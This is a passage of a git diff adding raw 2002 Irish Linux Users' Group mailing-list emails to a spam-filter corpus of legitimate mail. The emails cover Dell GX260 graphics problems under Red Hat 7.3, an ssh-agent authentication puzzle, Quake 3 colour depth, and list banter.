+Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 +Date: Fri, 2 Aug 2002 08:36:47 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +I swear to god you have to be so carefull with dell machines and linux. My +laptop is the only dell +that I've had so far that you could do a quick clean install of linux on. +Every machine recently seems +to have some cheapo piece of hardware (eth card, modem, sound, graphics ) +that is incompatable/unsupported. +I don't know how long I've spent banging my head off the wall with some crap +dell machine that +the secretary/store manager/windoze admin of whatever company I've been in +has ordered. +Ok everything is budget basement these days but they're getting the +components cheaper as well. +If you do buy from dell be damned carefull what you order cause the default +config cheapo machines +are allways a pain in the hole. + + +--B + +-----Original Message----- +From: deccy@csn.ul.ie [mailto:deccy@csn.ul.ie] +Sent: 01 August 2002 23:19 +To: ilug@linux.ie +Subject: [ILUG] Dell GX260 V Redhat 7.3 + + +Hi, +We just got some new Dell GX260 machines here are work and I'm supposed to +be putting Linux on them. I tried installing RedHat 7.3. It just didn't want +to know about the graphics card. I's an onboard Intel DVMT chip. No +dedicated memory, it takes it from the onboard RAM. + +I was wondering if anybody had gotton these machines and had any luck +getting this graphics card working? + +When this graphics card didn't work, I installed a PCI Diamond Stealth 64 +VRAM card. Xconfigurator auto-detected this and my 21" SUN monitor no +problem but whenever it tries to test the configuration it fails and the +screen is left with a blue background and all of the text is blue. +Does anybody have any idea what the problem is or how to fix it? +Cheers, +deccy. + +-- +--------------------------------------- +Declan Houlihan +deccy@csn.ul.ie +http://deccy.csn.ul.ie/ +--------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00215.676fa487d6122e4a57b37a5edffa4dc2 b/bayes/spamham/easy_ham_2/00215.676fa487d6122e4a57b37a5edffa4dc2 new file mode 100644 index 0000000..5044909 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00215.676fa487d6122e4a57b37a5edffa4dc2 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Fri Aug 2 09:25:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB4A1440F1 + for ; Fri, 2 Aug 2002 04:25:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:25:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728NI212523 for + ; Fri, 2 Aug 2002 09:23:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA25564; Fri, 2 Aug 2002 09:20:43 +0100 +Received: from AUSADMMSRR503.aus.amer.dell.com ([143.166.83.90]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id JAA25531 for ; + Fri, 2 Aug 2002 09:20:37 +0100 +From: Stephen_Reilly@dell.com +X-Authentication-Warning: lugh.tuatha.org: Host [143.166.83.90] claimed to + be AUSADMMSRR503.aus.amer.dell.com +Received: from 143.166.227.176 by AUSADMMSRR503.aus.amer.dell.com with + ESMTP (Tumbleweed MMS SMTP Relay (MMS v4.7);); Fri, 02 Aug 2002 03:19: 59 + -0500 +X-Server-Uuid: 91331657-2068-4fb8-8b09-a4fcbc1ed29f +Received: by ausxc08.us.dell.com with Internet Mail Service (5.5.2650.21 ) + id ; Fri, 2 Aug 2002 03:12:16 -0500 +Message-Id: <653270E74A8DD31197AF009027AA4F8B01845F1A@LIMXMMF303> +To: ilug@linux.ie +Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 +Date: Fri, 2 Aug 2002 03:19:53 -0500 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2650.21) +X-WSS-Id: 11549F255534852-01-01 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +>> I swear to god you have to be so carefull with dell machines +>> and linux. +... +>> to have some cheapo piece of hardware (eth card, modem, +>> sound, graphics ) +>> that is incompatable/unsupported. +... +>> with some crap +>> dell machine that +yes, yes, all terribly insightful and extremely useful information. + +> We just got some new Dell GX260 machines here are work and +> I'm supposed to +> be putting Linux on them. I tried installing RedHat 7.3. It +> just didn't want +> to know about the graphics card. I's an onboard Intel DVMT chip. No +> dedicated memory, it takes it from the onboard RAM. +The onboard DVMT card has an Intel 845 G/GL chipset. +http://www.intel.com/support/graphics/linux/ or +http://www.intel.com/support/graphics/intel845g/linux.htm has more specific +information. There is help available there. + +I also found somewhere (not through personal experience though) that +2.4.19-pre10ac2 includes drivers for the chipset ? + +Steve + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00216.53a04d271ae7b0752fef521c2d5709f7 b/bayes/spamham/easy_ham_2/00216.53a04d271ae7b0752fef521c2d5709f7 new file mode 100644 index 0000000..4c8fd02 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00216.53a04d271ae7b0752fef521c2d5709f7 @@ -0,0 +1,123 @@ +From ilug-admin@linux.ie Fri Aug 2 09:25:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EB675440F3 + for ; Fri, 2 Aug 2002 04:25:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:25:23 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728P5212559 for + ; Fri, 2 Aug 2002 09:25:05 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA25741; Fri, 2 Aug 2002 09:23:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from paat.pair.com (paat.pair.com [209.68.1.209]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id JAA25710 for ; + Fri, 2 Aug 2002 09:23:14 +0100 +Received: (qmail 21847 invoked by uid 3138); 2 Aug 2002 08:23:07 -0000 +Date: Fri, 2 Aug 2002 04:23:07 -0400 +From: Wesley Darlington +To: ilug@linux.ie +Subject: Re: [ILUG] Strange ssh problem +Message-Id: <20020802082307.GA20507@paat.pair.com> +References: <20020801145112.GB2500@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020801145112.GB2500@bagend.makalumedia.com> +User-Agent: Mutt/1.3.25i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi Niall, + +Some thoughts... + +o Run the ssh client with verbosity 3 (ssh -v -v -v) +o Run an sshd with debugging level three (sshd -d -d -d) +o ~alfio doesn't seem to be nfs-mounted like ~alfred + +(The following aren't really applicable, but... + o Has alfred been logged in for ages? Has the tmpsweeper swept + through /tmp removing alfred's ssh-agent directory in its wake? + o Is /tmp a+rwxt? Does /dev/null exist? + o Has alfred been messing with his TMPDIR envar? + o What does lsof on his ssh-agent say? What about on alfio's? + o What are the permissions on ~alfred and ~alfred/.ssh? + o Does alfred's uid conflict with somebody else's? + o Does alfred's $SSH_AGENT_PID correspond to his agent? alfio's? +) + +Wesley. + + +On Thu, Aug 01, 2002 at 03:51:12PM +0100, Niall O Broin wrote: +> I have a strange problem with one user in a small network using ssh. +> Everyone in the network uses ssh and they run an ssh-agent on login. This +> works fine for conveniently wandering around the network and to some of our +> external boxes - or did, until today. Suddenly, when one user (alfred) tries +> to ssh anywhere he's asked for a password. He says He changed nothing (don't +> they all) but I do actually believe him. I used ssh-keygen to make new keys +> but that didn't help. +> +> I created a new user alfio into whose home directory I copied alfred's .ssh +> directory - alfio can wander around free as a bird without being asked for a +> password ever (except of course for the passphrase to load the identiy into +> the agent). +> +> In case there was something else in Alfred' environment, I copied .??* from +> alfred's home directory to alfio's, remembering to change ownership +> afterwards. Still alfio is as free as a bird. +> +> We use only SSH2 with DSA keys. An extract from a ssh -v for alfio is below +> +> debug1: got SSH2_MSG_SERVICE_ACCEPT +> debug1: authentications that can continue: publickey,password +> debug1: next auth method to try is publickey +> debug1: userauth_pubkey_agent: testing agent key /home/alfio/.ssh/id_dsa +> debug1: input_userauth_pk_ok: pkalg ssh-dss blen 434 lastkey 0x80916f0 hint -1 +> debug1: ssh-userauth2 successful: method publickey +> +> and before starting this ssh attempt, ssh-add -l for alfio said: +> +> 1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfio/.ssh/id_dsa (DSA) +> +> whereas with alfred the same segment of the debug log went +> +> debug1: got SSH2_MSG_SERVICE_ACCEPT +> debug1: authentications that can continue: publickey,password +> debug1: next auth method to try is publickey +> debug1: userauth_pubkey_agent: testing agent key /nfshome/alfred/.ssh/id_dsa +> debug1: authentications that can continue: publickey,password +> +> and before starting this ssh attempt, ssh-add -l for alfred said: +> +> 1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfred/.ssh/id_dsa (DSA) +> +> +> This problem is definitely related to alfred as a user - it happens when he +> logs in on differing workstations (all NFS mounting the same home +> directories) and the other users (including good old alfio) don't have any +> problems. +> +> +> Niall +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00217.8ea77706594281e2c53a078c4a99b68a b/bayes/spamham/easy_ham_2/00217.8ea77706594281e2c53a078c4a99b68a new file mode 100644 index 0000000..34f20d5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00217.8ea77706594281e2c53a078c4a99b68a @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Fri Aug 2 09:35:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 46381440F0 + for ; Fri, 2 Aug 2002 04:35:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:35:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728U4212634 for + ; Fri, 2 Aug 2002 09:30:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA26116; Fri, 2 Aug 2002 09:28:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA26083 for ; + Fri, 2 Aug 2002 09:28:37 +0100 +Received: from www.emuse.ie (hassle.emuse.ie) [193.120.145.154] by + relay01.esat.net with esmtp id 17aXnW-0001x8-00; Fri, 02 Aug 2002 09:28:37 + +0100 +Received: by HASSLE with Internet Mail Service (5.5.2653.19) id ; + Fri, 2 Aug 2002 09:29:00 +0100 +Message-Id: <5FE418B3F962D411BED40000E818B33C9C8E7D@HASSLE> +From: "Hunt, Bryan" +To: "'Stephen_Reilly@dell.com'" , + ilug@linux.ie +Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 +Date: Fri, 2 Aug 2002 09:28:57 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I'm not knocking dell in general, my next machine is going to be a dell. But +buying a +random dell box is likely to result in much tearing out of hair. + +--B + +-----Original Message----- +From: Stephen_Reilly@dell.com [mailto:Stephen_Reilly@dell.com] +Sent: 02 August 2002 09:20 +To: ilug@linux.ie +Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 + + +>> I swear to god you have to be so carefull with dell machines +>> and linux. +... +>> to have some cheapo piece of hardware (eth card, modem, +>> sound, graphics ) +>> that is incompatable/unsupported. +... +>> with some crap +>> dell machine that +yes, yes, all terribly insightful and extremely useful information. + +> We just got some new Dell GX260 machines here are work and +> I'm supposed to +> be putting Linux on them. I tried installing RedHat 7.3. It +> just didn't want +> to know about the graphics card. I's an onboard Intel DVMT chip. No +> dedicated memory, it takes it from the onboard RAM. +The onboard DVMT card has an Intel 845 G/GL chipset. +http://www.intel.com/support/graphics/linux/ or +http://www.intel.com/support/graphics/intel845g/linux.htm has more specific +information. There is help available there. + +I also found somewhere (not through personal experience though) that +2.4.19-pre10ac2 includes drivers for the chipset ? + +Steve + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00218.64c9d00b1056b230a115692edc35e85a b/bayes/spamham/easy_ham_2/00218.64c9d00b1056b230a115692edc35e85a new file mode 100644 index 0000000..c14562e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00218.64c9d00b1056b230a115692edc35e85a @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Fri Aug 2 09:45:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B6F5F440F0 + for ; Fri, 2 Aug 2002 04:45:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:45:57 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728h2212909 for + ; Fri, 2 Aug 2002 09:43:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA26691; Fri, 2 Aug 2002 09:41:04 +0100 +Received: from corvil.com (k100-75.bas1.dbn.dublin.eircom.net + [159.134.100.75]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA26648 + for ; Fri, 2 Aug 2002 09:40:57 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-75.bas1.dbn.dublin.eircom.net + [159.134.100.75] claimed to be corvil.com +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com (8.11.6/8.11.6) with ESMTP id g728eur51816 for ; + Fri, 2 Aug 2002 09:40:57 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D4A4594.7020704@corvil.com> +Date: Fri, 02 Aug 2002 09:40:52 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] stupid pics of the day +References: <3D494DAB.9060207@corvil.com> <20020801164332.GK5178@jinny.ie> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John P. Looney wrote: +> On Thu, Aug 01, 2002 at 04:03:07PM +0100, Padraig Brady mentioned: +> +>>Some local Irish wildlife +>> +>>http://www.iol.ie/~padraiga/pics/wild1.jpg +>>http://www.iol.ie/~padraiga/pics/wild2.jpg +>> +>>was I bored or what? +> +> Most likely. +> +> Hey...is that one of my nice wai-yip stuffed ones ? + +Ah, I new I had one extra. +Ransom is a pint. + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00219.0e25ffd61eea2b5bf08c9575a3afa57d b/bayes/spamham/easy_ham_2/00219.0e25ffd61eea2b5bf08c9575a3afa57d new file mode 100644 index 0000000..dc62004 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00219.0e25ffd61eea2b5bf08c9575a3afa57d @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Fri Aug 2 09:45:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5C8A5440F1 + for ; Fri, 2 Aug 2002 04:45:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:45:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728hC213042 for + ; Fri, 2 Aug 2002 09:43:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA26786; Fri, 2 Aug 2002 09:41:52 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA26755 for ; Fri, + 2 Aug 2002 09:41:45 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA09575 for ; Fri, + 2 Aug 2002 09:41:14 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g728fvE11205 for ilug@linux.ie; Fri, 2 Aug 2002 09:41:57 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Fri, 2 Aug 2002 09:41:57 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 +Message-Id: <20020802084157.GV5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <5FE418B3F962D411BED40000E818B33C9C8E7D@HASSLE> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <5FE418B3F962D411BED40000E818B33C9C8E7D@HASSLE> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 09:28:57AM +0100, Hunt, Bryan mentioned: +> I'm not knocking dell in general, my next machine is going to be a dell. +> But buying a random dell box is likely to result in much tearing out of +> hair. + + Buying any new machine is going to cause problems with a six month old +set of drivers. Same happens in windows - you have to go get your drivers. + + Yes, dell use the most recent stuff they can, to save money. That's not a +bad thing. Just a bad thing for those that hope a distro will work out of +the box. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00220.c07529e1ed4db87e5f59922634b6c2ec b/bayes/spamham/easy_ham_2/00220.c07529e1ed4db87e5f59922634b6c2ec new file mode 100644 index 0000000..5befed2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00220.c07529e1ed4db87e5f59922634b6c2ec @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Fri Aug 2 09:46:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0C8FF440F3 + for ; Fri, 2 Aug 2002 04:45:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:45:59 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728hu213075 for + ; Fri, 2 Aug 2002 09:43:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA26897; Fri, 2 Aug 2002 09:42:15 +0100 +Received: from gatekeeper.fineos.com ([217.173.101.209]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA26841 for ; + Fri, 2 Aug 2002 09:42:06 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.173.101.209] claimed + to be gatekeeper.fineos.com +Received: from oasis003.msc.ie (oasis003.msc.ie [192.168.125.248]) by + gatekeeper.fineos.com (8.11.0/8.8.5) with ESMTP id g728hcU00405 for + ; Fri, 2 Aug 2002 09:43:38 +0100 +Received: from oasis010.msc.ie (oasis010.msc.ie) by oasis003.msc.ie + (Content Technologies SMTPRS 4.2.5) with ESMTP id + for ; + Fri, 2 Aug 2002 09:50:11 +0100 +Received: from oasis006.msc.ie (oasis006.msc.ie [192.168.125.245]) by + oasis010.msc.ie (8.11.0/8.9.1) with ESMTP id g728S3f29091 for + ; Fri, 2 Aug 2002 09:28:03 +0100 +Received: by oasis006.msc.ie with Internet Mail Service (5.5.2653.19) id + ; Fri, 2 Aug 2002 09:41:53 +0100 +Message-Id: +From: "Gregory McRandal (ext 722)" +To: "Irish Linux User's Group (E-mail)" +Date: Fri, 2 Aug 2002 09:41:52 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Subject: [ILUG] Quake 3 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Hi, + +I've installed Quake 3 onto my computer and it starts to run up ok but as +soon as the graphics start it bails out. It complains that there is an +error in sis_drv.o, the line before this says that it is starting Quake in +24 bit depth, now from http://www.winischhofer.net/linuxsis630.shtml I +understand that the sis630 won't do 24 bit depth. So is there a way to make +Quake start up in 16 bit depth? I've done some "google"ing but drawn a +blank..... + +Thanks + +Greg + + +************************************************************************** +The information contained in this e-mail is confidential, +may be privileged and is intended only for the use of the +recipient named above. If you are not the intended +recipient or a representative of the intended recipient, +you have received this e-mail in error and must not copy, +use or disclose the contents of this email to anybody +else. If you have received this e-mail in error, please +notify the sender immediately by return e-mail and +permanently delete the copy you received. This email has +been swept for computer viruses. However, you should +carry out your own virus checks. + + +Registered in Ireland, No. 205721. http://www.FINEOS.com +************************************************************************** + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00221.256f4b655a55d56db6f498eb9ce6f50c b/bayes/spamham/easy_ham_2/00221.256f4b655a55d56db6f498eb9ce6f50c new file mode 100644 index 0000000..e14dc9d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00221.256f4b655a55d56db6f498eb9ce6f50c @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Fri Aug 2 09:56:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DD7FC440F1 + for ; Fri, 2 Aug 2002 04:56:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:56:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728vS213526 for + ; Fri, 2 Aug 2002 09:57:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA27739; Fri, 2 Aug 2002 09:55:13 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA27692 for ; Fri, + 2 Aug 2002 09:55:04 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA10335; Fri, 2 Aug 2002 09:54:33 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g728tFd11573; Fri, 2 Aug 2002 09:55:15 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Fri, 2 Aug 2002 09:55:15 +0100 +From: "John P. Looney" +To: Padraig Brady +Cc: ilug@linux.ie +Subject: Re: [ILUG] stupid pics of the day +Message-Id: <20020802085515.GZ5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Padraig Brady , + ilug@linux.ie +References: <3D494DAB.9060207@corvil.com> <20020801164332.GK5178@jinny.ie> + <3D4A4594.7020704@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D4A4594.7020704@corvil.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 09:40:52AM +0100, Padraig Brady mentioned: +> > Most likely. +> > Hey...is that one of my nice wai-yip stuffed ones ? +> Ah, I new I had one extra. +> Ransom is a pint. + + Well, as you seem to be mating them up in Longford, keep it till it has +chicks, and send me two :) + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00222.4cde485804474931696b5ada162d61ff b/bayes/spamham/easy_ham_2/00222.4cde485804474931696b5ada162d61ff new file mode 100644 index 0000000..0120601 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00222.4cde485804474931696b5ada162d61ff @@ -0,0 +1,95 @@ +From ilug-admin@linux.ie Fri Aug 2 09:56:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 21B52440F0 + for ; Fri, 2 Aug 2002 04:56:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 09:56:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g728or213235 for + ; Fri, 2 Aug 2002 09:50:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA27405; Fri, 2 Aug 2002 09:49:26 +0100 +Received: from mailsweeper.met.ie (gw.met.ie [195.7.35.20]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id JAA27372 for ; + Fri, 2 Aug 2002 09:49:20 +0100 +Received: from SMTP agent by mail gateway Fri, 02 Aug 2002 09:50:49 -0000 +Received: from rain1.met.ie (unverified) by mailsweeper.met.ie (Content + Technologies SMTPRS 4.2.5) with ESMTP id + for ; + Fri, 2 Aug 2002 09:51:28 +0100 +Received: with ESMTP id JAA12432 +Received: (from cdaly@localhost) by bofh.irmet.ie (8.11.6/8.11.0) id + g729t2j12686 for ilug@linux.ie; Fri, 2 Aug 2002 09:55:02 GMT +X-Authentication-Warning: bofh.irmet.ie: cdaly set sender to + conor.daly@met.ie using -f +Date: Fri, 2 Aug 2002 09:55:02 +0000 +From: Conor Daly +To: ILUG main list +Message-Id: 